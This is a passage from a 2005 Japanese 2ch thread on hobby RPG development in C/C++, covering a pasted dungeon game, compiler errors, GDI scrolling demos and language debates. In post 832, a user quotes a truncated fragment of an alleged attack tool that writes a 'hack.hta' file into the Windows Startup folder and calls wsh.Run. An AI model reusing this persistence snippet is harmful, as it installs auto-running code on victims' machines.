if(maze[(x+tx)+(y+ty)*w]==1)goto input;x+=tx;y+=ty;hour++;if(hp<hpmax)hp++;enemy=1;}else
if(strcmp(buf,"6\n")==0){dir++;if(dir>3)dir=0;/*turn right*/}else if(strcmp(buf,"4\n")==0)
{dir--;if(dir<0)dir=3;/*turn left*/}else if(strcmp(buf,"0\n")==0){if(maze[x+y*w]!=2)goto input;
printf("You went down the stairs...\n");pause();floor++;free(maze);goto newlevel;}else
if(strcmp(buf,"9\n")==0){printf("You took a rest.\n");hp+=5+rnd(5);if(hp>hpmax)hp=hpmax;
hour+=4;}else{goto input;}if(hour>=48){day++;hour-=48;printf("\n*** Day %d ***\n\n", day);}
break;}}printf(msg[1]);pause();printf("%s (in %d days)\n",msg[2],day);return 0;}
793(・∀・)作ってミターヨ:2005/07/03(日) 08:42:40
《取扱説明書》
藻前様は一攫千金を狙う名も無き剣士だよ。
凶悪なモンスターたちの巣食う地下迷宮にもぐってお宝をゲト汁!
歩くとモンスターに遭うよ。戦うか逃げるか汁!
歩くとHPが回復するよ。休むとHPが多めに回復するよ。
ただし時間も多めに過ぎる諸刃の剣。玄人にはお勧めできない。
お宝は地下10階にあるというウワサだよ。
下に行くほど敵も強くなるよ。幸運を祈る!
794 ◆DJ46jUJDjs :2005/07/03(日) 09:03:41
エラーでコンパイル出来なかった
795(・∀・)作ってミターヨ:2005/07/03(日) 09:29:48
>>794
コピペに失敗してるんじゃないかな。
日付の行は消さないとダメだよ。
あと、メモ帳だと変なところで改行される悪寒。
ウィンドウの横幅を拡げてから保存するといいみたい。
796 ◆DJ46jUJDjs :2005/07/03(日) 10:08:03
コピペはちゃんと出来てるはず
txやtyが定義されてないとかのエラーが出た
でもソースにはちゃんと
int tx, ty
と書いてあった

以前あなたが公開したゲームも同じようなエラーが出ました
797デフォルトの名無しさん:2005/07/03(日) 10:08:12
ってか普通にアップすればいいじゃない
798デフォルトの名無しさん:2005/07/03(日) 10:32:29
コピペだけでもエラー出なかったよ
貼り付けてるエディタの仕様によるんじゃ
799 ◆DJ46jUJDjs :2005/07/03(日) 10:59:04
コンパイラはBCC5.5です
800デフォルトの名無しさん:2005/07/03(日) 11:31:55
>>793
おつかれさまです。
3Dダンジョンの描写にびっくりしました。
夜にでも、じっくりやってみます。

VC++0.6は、コピペで通りました。
警告が二つでたけど、おそらく無問題。
801デフォルトの名無しさん:2005/07/03(日) 11:37:18
■■■■■■■■■■■■■■■■
■                     ■  違う板にコピペすると、四角の枠の中に
■                     ■  メッセージとURLが現れる不思議な絵。
■                     ■
■                     ■  (その仕組みがリンク先に書いてある)
■                     ■
■                     ■  この原理を応用すると、まったく新しい
■                     ■  コピペが作れる予感。
■■■■■■■■■■■■■■■■

802デフォルトの名無しさん:2005/07/03(日) 12:05:19
>>796
>int tx ty

セミコロンはちゃんと付いてたか?
803 ◆DJ46jUJDjs :2005/07/03(日) 12:06:58
ドット単位のスクロールをするマップって重いからDirectDraw使った方がいい?
804デフォルトの名無しさん:2005/07/03(日) 12:14:22
>>803
>>766を組んだ者ですが、>>782を読んでくれよ。。

フレームレートって、わかります?
普通のパソコンで、ヤバい描画さえしてなければ、
DirectXは無くてもゲームに耐えられる速度は出るはずです。
805 ◆DJ46jUJDjs :2005/07/03(日) 12:18:09
じゃあこのままでいいっすね
一応2ドット単位のスクロールにしてる

>>802
付いてたよ
806デフォルトの名無しさん:2005/07/03(日) 13:08:15
すげえ段ジョンRPGや
クリアする気おきねえうぇうぇうぇ
807デフォルトの名無しさん:2005/07/03(日) 13:33:54
vipperうぇうぇwwwうぇwwwww
808デフォルトの名無しさん:2005/07/03(日) 13:58:50
>>805
一応 gcc -Wall -ansi -pedantic で通ったから(warning2個あり)、
普通の環境ならまず通ると思う。
今でてる情報からはこれしか書けん。
809デフォルトの名無しさん:2005/07/03(日) 13:59:40
bccってのが微妙だな。
810デフォルトの名無しさん:2005/07/03(日) 14:36:53
>>804
漏れのペン3カトマイコア500メガヘルツは普通の範疇ですか?
811デフォルトの名無しさん:2005/07/03(日) 14:42:15
>>810
Pentium4 3.8ギガHz Athlon64 X2 4200+が普通です。
812デフォルトの名無しさん:2005/07/03(日) 15:01:31
VS .Net 2003で出来ましたよ。
警告が3個あったけど
813デフォルトの名無しさん:2005/07/03(日) 15:41:10
うpろだにあげんのか
bccで警告9個でた
問題は出てないけど
クリアはようせんわ
814デフォルトの名無しさん:2005/07/03(日) 15:44:14
まとめサイトのうpロダに改行したコードをあげようかと思ったら.cのファイルをうpできなかった。
めんどくさいし無許可だから皆各自でやってくれ
815 ◆DJ46jUJDjs :2005/07/03(日) 15:49:53
そのゲームのことはもういいです。
諦める

ゲームを作る方を頑張る
816デフォルトの名無しさん:2005/07/03(日) 15:56:14
・・・
817デフォルトの名無しさん:2005/07/03(日) 16:09:30
自分でコード開けば分かると思うけどなぁ
俺にはそんなしこりが残ることはできないな
818デフォルトの名無しさん:2005/07/03(日) 16:29:32
コンパイルも出来ないのに他のをやるのか
819デフォルトの名無しさん:2005/07/03(日) 17:06:10
.cファイルをアーカイブしてからうpすればいいのに
820デフォルトの名無しさん:2005/07/03(日) 18:39:36
プログラム板が荒れているため、IDを導入するか検討中です。
賛成の方も反対の方も、このスレで自分は賛成か反対かをお書きください。

プログラム技術板に強制ID制を導入すべきか否か
http://etc4.2ch.net/test/read.cgi/vote/1118144381/

理由などの記入は別に構いません。
<<賛成>>か<<反対>>かだけ御記入頂ければ結構です。
ちなみに、当たり前ですが運営の方にIPが見えているので、1日ごとにIDが変わるからといって多重投稿しないでください。
821デフォルトの名無しさん:2005/07/03(日) 21:03:04
822デフォルトの名無しさん:2005/07/03(日) 21:39:47
>>821
おー、ちゃんと動きました。
キレイにスクロールしてます。凄い。

ちなみに、これはなにで描画してるんですか?
823デフォルトの名無しさん:2005/07/03(日) 21:52:13
>>821
凄い…差支えが無ければソースやヒントを欲しいもんですけどどうなんでしょうか…
824821:2005/07/03(日) 22:42:15
http://himatanuki.hp.infoseek.co.jp/cgi-bin/uploader/src/up0003.zip

クラス使ってる上に癖のある書き方してるから分かり難いかも。
スクロールは>>772のやり方で。
825 ◆DJ46jUJDjs :2005/07/03(日) 23:01:41
>>824
ページが表示出来ないんですけど・・・
826825 ◆DJ46jUJDjs :2005/07/03(日) 23:11:32
ダウンできました
827デフォルトの名無しさん:2005/07/03(日) 23:18:07
>>824
すごいー。クラスってのは、こうやって使うんですね (:^_^
私とレベル違いすぎてよくわかんないんですが、
明日からいっぱい質問しちゃうかも・・
828826 ◆DJ46jUJDjs :2005/07/03(日) 23:27:30
ほんとにすごいです。
自分も同じくよく理解できませんでしたが・・・
これのマップが出来れば結構いけるんじゃないですか
829デフォルトの名無しさん:2005/07/04(月) 13:17:34
>>793

初心者ですいません。コンパイルすると
以下のエラーになります。原因はなんでしょうか?


game.c: In function `makeimg':
game.c:23: error: プログラムとして逸脱した文字 '\239'
game.c:23: error: プログラムとして逸脱した文字 '\188'
game.c:23: error: プログラムとして逸脱した文字 '\143'
game.c:23: error: 文字列定数の前に 文法エラー
game.c:23: error: プログラムとして逸脱した文字 '\239'
game.c:23: error: プログラムとして逸脱した文字 '\189'
game.c:23: error: プログラムとして逸脱した文字 '\156'
game.c:23: error: プログラムとして逸脱した文字 '\239'
game.c:23: error: プログラムとして逸脱した文字 '\191'
game.c:23: error: プログラムとして逸脱した文字 '\163'
game.c:23: error: プログラムとして逸脱した文字 '\239'
game.c:23: error: プログラムとして逸脱した文字 '\188'
game.c:23: error: プログラムとして逸脱した文字 '\191'
game.c:23: error: プログラムとして逸脱した文字 '\226'
game.c:23: error: プログラムとして逸脱した文字 '\151'
game.c:23: error: プログラムとして逸脱した文字 '\139'
game.c:23: error: プログラムとして逸脱した文字 '\229'
game.c:23: error: プログラムとして逸脱した文字 '\164'
game.c:23: error: プログラムとして逸脱した文字 '\167'
game.c:23: error: プログラムとして逸脱した文字 '\'
" 文字での終端を欠いています
game.c:34: error: `src' が宣言されていません (この関数内で最初に利用)
game.c:34: error: (未宣言の各変数については、それが最初に現われたそれぞれの関数
game.c:34: error: に対して一度だけ報告されます。)
830デフォルトの名無しさん:2005/07/04(月) 13:23:25
>>829
レスをコピペしたあと、レス番と顔文字のある行を削除し給え。
831デフォルトの名無しさん:2005/07/04(月) 13:26:00
>>829

789 名前:(・∀・)作ってミターヨ[] 投稿日:2005/07/03(日) 08:36:47
↑こういう行は削除してる?
832デフォルトの名無しさん:2005/07/04(月) 14:52:20
すいません ちょっと質問があります

中国人が 2chを攻撃する計画を 立てていてそのサイトの監視を
しているのですが 奴らの製作している攻撃ツールの事を調べています
私、プログラムわからないのですが どなたか これの意味がわかるかた
いますか?

Hacking Your Computer . scr.Reset(); scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta"; scr.Doc=" wsh.Run('start.
833デフォルトの名無しさん:2005/07/04(月) 15:35:31
>>824
お勉強になりまくりんぐ。
人のプログラム読むのはメチャ苦手だけど、
821さんのは一貫性があって、慣れるとなんか読み安いし。
(細かい計算とかは意味不明ですが・・)

関心するとともに、自分に課題が山積みですわ orz
834デフォルトの名無しさん:2005/07/04(月) 15:50:31
できることからしよう。うん。そうしよう。
835デフォルトの名無しさん:2005/07/04(月) 16:00:21
まガンバr
836デフォルトの名無しさん:2005/07/04(月) 16:23:45
みんなC++で作ってるの?
837デフォルトの名無しさん:2005/07/04(月) 16:31:20
>>833
安いし関心するのか。なかなか失礼なやつだな。
838デフォルトの名無しさん:2005/07/04(月) 16:34:05
>836
俺はC++
839デフォルトの名無しさん:2005/07/04(月) 16:36:01
>>838
そうか・・・
まだC勉強中だから、もう少しあとでくるよ。
840デフォルトの名無しさん:2005/07/04(月) 17:08:31
昔RPG作りかけてほってあるorz

>>824のプログラムを改造してみるか…
841デフォルトの名無しさん:2005/07/04(月) 18:06:53
期待
842デフォルトの名無しさん:2005/07/04(月) 18:07:41
マップエディター作ろうと思てるんですけど
マップデータのフォーマットってCSVでよかとですか?
843828 ◆DJ46jUJDjs :2005/07/04(月) 18:29:41
>>842
よくわからないけど、いいんじゃないかな
その辺俺はよくわからないから、勉強してきます。
844デフォルトの名無しさん:2005/07/04(月) 18:43:46
>>842
テキストファイルは勝手に改造されるリスクがあるな
845デフォルトの名無しさん:2005/07/04(月) 18:59:55
げ、そこまで気をつけなきゃいけないんですか?
846762:2005/07/04(月) 19:27:35
>>836
以前CでRPG(らしきもの。マップスクロールと戦闘、イベント処理までで
エンディングなどはなし)を作った時はCだったな。約2000行w

>>842
普通にバイナリの方が扱いやすい気がする。
847821:2005/07/04(月) 22:17:16
http://himatanuki.hp.infoseek.co.jp/cgi-bin/uploader/src/up0004.zip

設計的におかしかった所を修正。
操作できるNPC(?)を1人追加。
848デフォルトの名無しさん:2005/07/05(火) 01:24:04
msimg32.dllが無いので実行できない、OSが古いからかな(涙
これって、何のライブラリだろ?

なんかおれも作りたくなってきたなぁ。
ティアリングはDirectXの垂直同期とかで回避なのかな。
リフレッシュレートに間に合わなければバックバッファ転送を見送るって手もある、
その分、FPSは下がるけどね。
FPSに余裕があるなら、マルチメディア大麻でエセ同期かなぁ。
849デフォルトの名無しさん:2005/07/05(火) 02:35:27
850デフォルトの名無しさん:2005/07/05(火) 05:36:54
>>824
おつです。実行ファイルは普通に実行できたのですが、
ソースをコンパイルしようとすると、以下のエラーがでてきます。
どうも、デストラクタがプライベートで宣言されてるから
アクセスできないとかなんとか書いてあるようですが、
これは私のコンパイラ特有の問題なんでしょうか?
VC++6.0 Standard です。

CBackBuffer.cpp
c:\my_program\cでrpg\crpg_821_02\cbackbuffer.h(43) : error C2248: 'CBackBuffer::~CBackBuffer' : private メンバ (クラス 'CBackBuffer' で宣言されている)にアクセスできません。
c:\my_program\cでrpg\crpg_821_02\cbackbuffer.h(10) : 'CBackBuffer::~CBackBuffer' の宣言を確認してください。
CBitmapContainer.cpp
c:\my_program\cでrpg\crpg_821_02\cbitmapcontainer.h(65) : error C2248: 'CBitmapContainer::~CBitmapContainer' : private メンバ (クラス 'CBitmapContainer' で宣言されている)にアクセスできません。


CRPG_821_02.exe - エラー 6、警告 0
851デフォルトの名無しさん:2005/07/05(火) 05:38:52
あ、すみません。↑のは、>>847に上げて下さってる
ソースのことです。
852デフォルトの名無しさん:2005/07/05(火) 08:25:54
http://himatanuki.hp.infoseek.co.jp/cgi-bin/uploader/src/up0005.zip

msimg32.dll無くても動作するようにしてみた。
デストラクタはpublicに変更しますた。

>>848
DirectGraphicsなら勝手に垂直同期とってくれるけどねぇ。
それで作り直そうかなぁ・・・
853850:2005/07/05(火) 09:50:46
>>852
今度はコンパイルできました。感謝!
お、マップが出来てる!って思ったら、一枚絵ですかww

CBitmapになんか色々入ってて、ますます解読不能に・・
854デフォルトの名無しさん:2005/07/05(火) 11:41:39
>>852
GCC(mingw)でもコンパイルと動作を確認しますたよ。
srcディレクトリで実行すると落ちるで少し困惑しますが。^^;
855デフォルトの名無しさん:2005/07/05(火) 12:00:59
おおー!msimg32.dll無くても動作しますた!
原因はLoadImageでしたか。

ビルドはGameMain.cppにstdioをincludeすれば通りました。<vsprintf未定義
コンパイラはbcc32です。
あと「<静的変数>を含む関数はインライン展開できない」という警告が沢山でました。

ティアリングは意識すれば気になる程度ですかね。
或いは液晶だからあまり気にならないのかもしれません。
856829:2005/07/05(火) 14:41:49
>>830
>>831
コピペは何回も確認したつもりです。作ってミターヨさんの前のゲームは
普通にコンパイルし遊びました。
fedora core3使ってます。
gcc -o game game.c とコマンドしたのですけど。
何回もしたのですが同じエラーが出ました。
789 名前:(・∀・)作ってミターヨ[] 投稿日:2005/07/03(日) 08:36:47このような行は
削除してます。なんでだろう??
857デフォルトの名無しさん:2005/07/05(火) 16:09:38
>>856
unixなら文字コードをEUC-Jにしてコピペしてみては。

>void makeimg(void){char *ch[]={" "," ","\","/","|"," ̄","_","○","大","\n"};
858デフォルトの名無しさん:2005/07/05(火) 17:07:56
Fedora だと UTF-8 だね。
malloc(44) の部分、44→80 ぐらいに増やさないと buffer overflow になる鴨。
あと、xterm って日本語を等幅フォントで表示できる?
(設定方法が分からない・・・)
等幅でないと3D表示がズレると思われ。
859デフォルトの名無しさん:2005/07/05(火) 18:49:59
マップの動作は、マップのワールド座標の操作でやるべきか・・
860デフォルトの名無しさん:2005/07/05(火) 20:40:32
ttp://49uper.com:8080/html/img-s/64928.zip

>>766のを作り直してみました。
動作はほとんど変わってないのですが、
>>821さんにちょっとでも近づくために、クラスを使ってみました。
ダブルバッファとクリッピングをしてないので、(できないんですけどね ^^)
かなりしょぼいですが・・。

クラスって初めて本格的に使うんですが、
デストラクタでメモリ開放すればメモリリークしないんですよね?
あと、クラス変数を宣言するときは、グローバルスコープでドーンと宣言しちゃっても
いいんでしょうか?

読みにくいプログラムで申し訳ありませんが、
誰か回答よろ m(__)m
861デフォルトの名無しさん:2005/07/05(火) 21:28:36
>>860
グローバルスコープに実体を作るとコンストラクタ・デストラクタの呼ばれる
タイミングが曖昧になるので、どこかでnew, deleteするのがいいかも。
(俺は面倒臭いのでドーンと宣言してる(・w・))

// グローバル
CHoge *g_pHoge;

void WndProc(...)
{
  /* いろいろ省略 */

  case WM_CREATE:
    g_pHoge = new CHoge;
    break;

  case WM_DESTROY:
    delete g_pHoge;
    break;
}

クラスの作り方は問題ないかもしれない。
というより俺のクラスに対する基準が間違ってる可能性もあるわけで・・・。
他の人の意見も聞きたいねぇ。

ソース見てて気になったのはWM_PAINTメッセージを処理してるところ。
ここでCreateCompatibleDC()やDeleteDC()は呼ばない方がいいかも。
862861:2005/07/05(火) 21:36:22
WndProcの戻り値の型がvoidになってる・・・ orz
863デフォルトの名無しさん:2005/07/05(火) 21:54:19
>>861
821さんでしょうか?
マップはいずれファイルから読み込んだりしそうですし、
メモリ削除の関数も、作っておいて損はなさそうですね。
メモリ削除関数は、デストロイに置くことにしまっす。

絵の出し方とか、ウィンドウの作り方は
某サイトからコピってきたものですから、
実はよくわからなかったり・・。
もうちょっと研究してみます。レスどうもです!
864デフォルトの名無しさん:2005/07/05(火) 22:02:03
俺も作ってみたけど、ちらつくな。
バッファ二つ作って交互に描画、フリップしてるんだが。
865デフォルトの名無しさん:2005/07/05(火) 22:15:07
トリプルバッファリングしたとしても帰線消去間隔を待たなければ
問題解決しないかもね。
866デフォルトの名無しさん:2005/07/05(火) 23:45:49
DirectXに汁!
867デフォルトの名無しさん:2005/07/06(水) 00:20:51
でも、Javaでダブルバッファリングで綺麗に動かせるんだから、
directx使うまでもなく、なんか方法がありそうなもんだけど。
868デフォルトの名無しさん:2005/07/06(水) 00:25:15
分かった! graphic.hだ。
869デフォルトの名無しさん:2005/07/06(水) 00:32:43
犯人はgraphic.h。
870デフォルトの名無しさん:2005/07/06(水) 00:34:13
JavaもDirectX使ってるんだよな
871デフォルトの名無しさん:2005/07/06(水) 00:35:58
Ω ΩΩ <ナ、ナンダッテー?!
872デフォルトの名無しさん:2005/07/06(水) 08:00:30
JavaはOpenGLとDirectXの好きなほうを選べる。
普通に全画面にしたりもできるぞ。
873デフォルトの名無しさん:2005/07/06(水) 08:09:10
C/C++なんて旧石器時代の言語より最新テクノロジーのJavaで作ろうぜ
874デフォルトの名無しさん:2005/07/06(水) 10:03:42
>>873
スレ違い
875デフォルトの名無しさん:2005/07/06(水) 15:07:08
>>872
それは、別にC/C++でもおんなじじゃ・・・。
876デフォルトの名無しさん:2005/07/06(水) 20:05:32
>>875
Javaじゃできないと思ってる人も結構いると思うんだな。スレ違いだが。
877デフォルトの名無しさん:2005/07/06(水) 20:21:06
Javaのスレも立ててよ
C/C++とJavaで競争しよーぜ
878デフォルトの名無しさん:2005/07/06(水) 20:21:42
そっちはそっちで勝手にやってくれ・・
879デフォルトの名無しさん:2005/07/06(水) 20:47:01
最新を歌うならDとかだろ。
テクノロジ的にはなんも新しくないんだし>Java
競争するほどの活気も見受けられないしな・・・。
880デフォルトの名無しさん:2005/07/06(水) 20:50:48
以前はJavaでゲームを作ろうとするとキチガイ扱いだったしな
881デフォルトの名無しさん:2005/07/06(水) 20:51:59
D言語+OpenGLのシューティングゲームはあったよな。
Win32APIも使えるから楽勝じゃないだろうか。
D言語を学ぶ際の参考になるサイトが少なすぎるのが問題であって。
882デフォルトの名無しさん:2005/07/06(水) 20:55:06
次スレは言語限定しなくていいんじゃね?
競争したほうが言語の良いところ悪いところがハッキリする
DやPythonもゲーム作りやすいらしいから見てみたい
883デフォルトの名無しさん:2005/07/06(水) 21:17:40
限定なしにするとな多言語叩きまくりだけでスレが消費されるに820レス
884デフォルトの名無しさん:2005/07/06(水) 21:19:32
>>882
同意。言語毎の競争はともかく、C/C++に制限する理由は無い品。
885デフォルトの名無しさん:2005/07/06(水) 21:37:35
それならばRPGに限定するのも(rya
886デフォルトの名無しさん:2005/07/06(水) 21:45:17
ジャンル縛りがないと、何をつくりゃいいのか……で停滞する予感。
887デフォルトの名無しさん:2005/07/06(水) 21:52:06
そんなん、自分の好きなのを作ればいいよ
888デフォルトの名無しさん:2005/07/06(水) 22:10:58
別にここまで伸びたスレで、今も悪い流れじゃないんだから、
わざわざスレの趣旨を変える必要はないと思うが。
889デフォルトの名無しさん:2005/07/06(水) 22:14:46
RPGっていう縛りはあった方がいいよ
初心者が作りたいゲームジャンルNo.1だしなw
次点:MMO
890デフォルトの名無しさん:2005/07/06(水) 22:22:06
次スレこっちにいくの?

C++でRPGゲームを作成する
http://pc8.2ch.net/test/read.cgi/gamedev/1101161690/
891Mifune ◆mCEJQ9Ki/Q :2005/07/06(水) 23:12:30
>>884
HSP厨がわんさか来ますよ!
892デフォルトの名無しさん:2005/07/06(水) 23:51:15
ALGOL系言語限定とか
893デフォルトの名無しさん:2005/07/06(水) 23:55:48
HSP厨でこのスレのレベルについて来れる奴いるの?
894デフォルトの名無しさん:2005/07/06(水) 23:58:49
レベルというか、マップ出してキャラ動かす程度ならHSPで簡単なんじゃねーの?
895デフォルトの名無しさん:2005/07/07(木) 00:09:53
HSPとRubyは除くという文言を入れておこう
Lispを入れてもいいが入れなくてもどうせこないだろう
896821:2005/07/07(木) 00:15:46
DirectGraphics使ったらティアリング回避できたYO!
897デフォルトの名無しさん:2005/07/07(木) 02:57:18
>>896
そりゃそうです。バックバッファの管理も全自動。
898デフォルトの名無しさん:2005/07/07(木) 15:14:05
C/C++ という言語仕様にグラフィカルなものがないような言語に限定している
というのがいいと思うんだけど。
言語仕様にGUIのAPIがあるような言語だとここでしばしば投稿されるような
プログラムはお目にかかれなくなると思う。
あと、描画ルーチンの精査もやる気が失せなくない?
高速化する手法をあらゆる手段で悩んだりしなくなるよ。
899デフォルトの名無しさん:2005/07/07(木) 15:40:55
>>895
なぜ Ruby を除外するの?
900デフォルトの名無しさん:2005/07/07(木) 15:46:59
今のところ、描画の高速化で頭を悩ませている人はいないような。
いっぱい投稿されたほうが、やる気はでるかも。
901デフォルトの名無しさん:2005/07/07(木) 16:57:10
いまどきのマシンは高速だもん
簡単なゲームなら筋を間違えなければ満足のいくスピードが出る
902デフォルトの名無しさん:2005/07/07(木) 17:09:10
前にあがったたGDI+のやつは、結局なんフレだったんかな。
ロープレぐらいならできそうな気はしたが。
903Mifune ◆mCEJQ9Ki/Q :2005/07/07(木) 19:59:21
C/C++言語でテキストRPGを作ってみるスレ
とか言ってみるテスト・・・
904デフォルトの名無しさん:2005/07/07(木) 20:03:17
テキストのほうが難しい件
905デフォルトの名無しさん:2005/07/07(木) 20:06:29
テキストでやるならPerlかJavaScript使うぜ。
ごめん、後ろのは嘘。
906デフォルトの名無しさん:2005/07/07(木) 20:19:58
>>903
MMOまーだー?
907デフォルトの名無しさん:2005/07/08(金) 07:53:56
テキストMMORPG?
908デフォルトの名無しさん:2005/07/08(金) 09:29:22
------ここでPerlかPHPどっちがいいかという不毛な争い開始------
909デフォルトの名無しさん:2005/07/08(金) 09:49:39
------ここでPerlかPHPどっちがいいかという不毛な争い終了------
910デフォルトの名無しさん:2005/07/08(金) 10:12:55
ネイティブアプリならRubyかPythonでしょ
PerlはGUIはともかくグラフィックがない
PHPなんてexe作れるの?
911デフォルトの名無しさん:2005/07/08(金) 11:57:51
処理系依存だけど、こういうのでMMOってのもアリなんでないの?可能性としてね。
これはbcc用だけど、gccのncursesでも出来る筈。
クライアントはテキストベースだしシンプルになりそうな分、
鯖の作を作りこみたくなりそう。クライアント変えればGUIにもなる悪寒。
#include <stdio.h>
#include <string.h>
#include <conio.h>
#define MAP_WIDTH40
#define MAP_HEIGHT20
char map[MAP_HEIGHT][MAP_WIDTH];
int char_pos_x = 5, char_pos_y = 5;
void print_map(void)
{int i, j;clrscr();for (i = 0; i < MAP_HEIGHT; i++) {for (j = 0; j <
MAP_WIDTH; j++) {if (i == char_pos_y && j == char_pos_x) {printf("@");} else
{printf("%c", map[i][j]);}}printf("\n");}fflush(stdout);}int main(void){
memset(map, '.', sizeof(map));clrscr();for (;;) {int c;print_map();
c = getche();
if (c == 'q')break;
if (c == '4')char_pos_x -= 1;
if (c == '6')char_pos_x += 1;
if (c == '8')char_pos_y -= 1;
if (c == '2')char_pos_y += 1;
}return 0;}
912デフォルトの名無しさん:2005/07/08(金) 13:04:53
見た目はともかくゲームとして完成させるのが大変なわけで。
スクロールできたー、自由に移動できるようになったー、満足!(完)となりがち。

細かいことは後回しでいいから、とりあえず最後まで遊べるカタチにしようぜ。
格好はいいけど遊べないシロモノより、見た目はしょぼくてもゲームになってる方が
ずっと重要。
913デフォルトの名無しさん:2005/07/08(金) 15:43:57
>>860です。
描画をダブルバッファにして、最後に::StretchBlt()で
拡大して表示するプログラムを作ってみたのですが、↓

::StretchBlt(hdc, 0, 0, 640, 640, hMemDC,
0, 0, 480, 480, SRCCOPY);

普通に::BitBlt()で描画するよりCPU使用率が跳ね上がってしまいます。。
(5〜15 が 60〜80 ぐらいに orz)

他に絵を拡大して表示する関数はあるんでしょうか?
どなたかよろしくお願いします m(__)m
914デフォルトの名無しさん:2005/07/08(金) 16:38:57
自分が昔さんざん調べた限りでは中田。
ビデオカードがStretchBltに対応してないんじゃないかな。
いまどきそんなカード珍しい気がする。
UPしてくれればみんながベンチしてくれると思うよ。
915デフォルトの名無しさん:2005/07/08(金) 17:08:30
>>914
拡大関数は無いんですか・・。
どうやらスクリーンの解像度を強制的に変更することはできるらしいんですが、
それはちょっとお行儀悪そうですもんね。

Upできるのは今無いので、明日にでも、できればあげてみまっす。
レスありがとうございました m(__)m
916デフォルトの名無しさん:2005/07/08(金) 18:12:04
>>915
ttp://www02.so-net.ne.jp/~dinna/program/draw.htm
何ビットでやってる?
それによってVカードが効くかが分かれるかもしれん。
917Mifune ◆mCEJQ9Ki/Q :2005/07/08(金) 18:54:47
>>910
パイソン>>>>>>>>>>>>>>>>>>|超えられない|Ruby
しかし何故か日本じゃRubyのが知名度が高い政府の陰謀
918デフォルトの名無しさん:2005/07/08(金) 18:56:35
>>916
すいません、私が雑魚すぎてわかりません (T_T)
普通に::LoadImagge()で読み込んで、
::BitBlt()で表示してると思います。
ビットマップのビット数とか指定した記憶がない orz

使ってるのはノートパソで、
CPUはceleron1.8で、GeForce440 Go てのがついてるみたいですが。。
919デフォルトの名無しさん:2005/07/08(金) 19:23:33
>>918
24bitのビットマップを読み込んでるんなら、24ビットかな。
16とか32の方が速いかもしれない。
画面のグラフィックモードと合わせるかにもよる。
920デフォルトの名無しさん:2005/07/08(金) 19:33:25
みんな!!忘れてないか?
N 8 8 B A S I C と か
921デフォルトの名無しさん:2005/07/08(金) 20:53:31
>>920
実行環境整えるのが大変そうだな。
922デフォルトの名無しさん:2005/07/08(金) 21:04:34
>>910
あれ?
Rubyってexe作れるのか。
923デフォルトの名無しさん:2005/07/08(金) 21:38:42
>>922
Exerb
924デフォルトの名無しさん:2005/07/08(金) 22:30:35
H・S・P!H・S・P!
925デフォルトの名無しさん:2005/07/08(金) 23:09:21
>>923
ネイティブコードを生成するんじゃなくて、Rubyの実行ファイルとRubyスクリプトをexe内に含むのね。
サンクス。
926デフォルトの名無しさん:2005/07/08(金) 23:26:34
>>921
ActiveBasic っつう選択肢はドーデスカ?
927デフォルトの名無しさん:2005/07/08(金) 23:55:00
クソスレになってきたな
928デフォルトの名無しさん:2005/07/09(土) 00:05:22
他の言語の話題が出た途端に廃れたな。
他の言語スレは勝手に立ててくれ
929 ◆mCEJQ9Ki/Q :2005/07/09(土) 00:20:51
413 名前:デフォルトの名無しさん[sage] 投稿日:2005/06/02(木) 19:36:03
>>405
>初心者スレ
か?ほんとうにそうか?

言語は極論すれば何でもRPG作れるけどスレの通りいくならCかC++。
だが、言語の本とするとC/C++ではグラフィック関連は望めない
(OSに依存することでC/C++では規格化されていないから)。

Javaならそのあたりがばっちり言語仕様に含まれているし、
Window表示や、グラフィック関連を扱っている書籍も多い。
Javaにしろ。Java。

438 名前:デフォルトの名無しさん[sage] 投稿日:2005/06/03(金) 09:39:09
そういうことを言わずに済むJavaを薦める。

439 名前:デフォルトの名無しさん[sage] 投稿日:2005/06/03(金) 09:51:38
Javaも2DAPIが豊富に取り揃えてある気がするんだが

867 名前:デフォルトの名無しさん[sage] 投稿日:2005/07/06(水) 00:20:51
でも、Javaでダブルバッファリングで綺麗に動かせるんだから、
directx使うまでもなく、なんか方法がありそうなもんだけど。

870 名前:デフォルトの名無しさん[sage] 投稿日:2005/07/06(水) 00:34:13
JavaもDirectX使ってるんだよな

877 名前:デフォルトの名無しさん[sage] 投稿日:2005/07/06(水) 20:21:06
Javaのスレも立ててよ
C/C++とJavaで競争しよーぜ
930デフォルトの名無しさん:2005/07/09(土) 00:32:29
競わせると沸き立つか、或いは荒らしが増えてクソスレになるだけか。
どちらにしろ現状よりはよさそうだな。
931デフォルトの名無しさん:2005/07/09(土) 01:01:59
>>929
自作自演だと思ってるのか知らんけど、870だけ俺だよ。
932デフォルトの名無しさん:2005/07/09(土) 01:11:01
C# + SDL最強
933デフォルトの名無しさん:2005/07/09(土) 01:13:27
3DRPGツクールとして活躍しそうなDarkBASICはいかがですか?
934デフォルトの名無しさん:2005/07/09(土) 01:25:12
>>933
ハァ?

氏ねよ。
935デフォルトの名無しさん:2005/07/09(土) 02:55:35
882あたりから腐ってきたな
936デフォルトの名無しさん
荒れそうなネタは放置でヨロ